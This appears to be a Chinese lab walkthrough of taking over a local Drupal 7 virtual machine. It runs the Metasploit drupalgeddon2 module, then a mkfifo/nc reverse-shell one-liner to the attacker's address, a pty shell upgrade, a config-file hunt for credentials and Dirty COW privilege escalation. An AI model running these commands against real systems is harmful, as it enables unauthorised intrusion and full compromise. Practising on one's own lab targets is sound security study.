本文仅用于本地虚拟机靶场安全学习,禁止将文中技术用于未授权测试环境
确定目标地址192.168.166.56

端口扫描

22是ssh协议,1898是http协议,浏览器访问,查看网页源代码,meta标签,获得目标服务器CMS名字和版本

使用metasploit,查看有没有相关漏洞利用模块
search Drupal 7
use exploit/unix/webapp/drupal_drupalgeddon2
设置相关参数
set rhost 192.168.166.56
set rport 1898,这里端口是非常规端口,所以要设置一下
别的默认,run

成功进入,接下来我考虑弄个交互式反弹shell
本机先bash,再nc-lvnp 4567,
目标机rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.166.3 4567 >/tmp/f
本机监听成功

输入两次python -c 'import pty; pty.spawn("/bin/bash")'
ctrl +z 让其在后台运行,stty raw -echo ,fg这里不显示,reset,即成功

netstat发现开放3306
找网站配置文件,看有没有密码泄露
find . -type f -name "*.php" 2>/dev/null

这个看起来很可疑,查看
信息来了

好像没什么用
SUID找不到,sudo -l 也不行,保底措施,考虑内核提权

好像可以脏牛提权
使用这个

按照教程

在目标机执行
成功
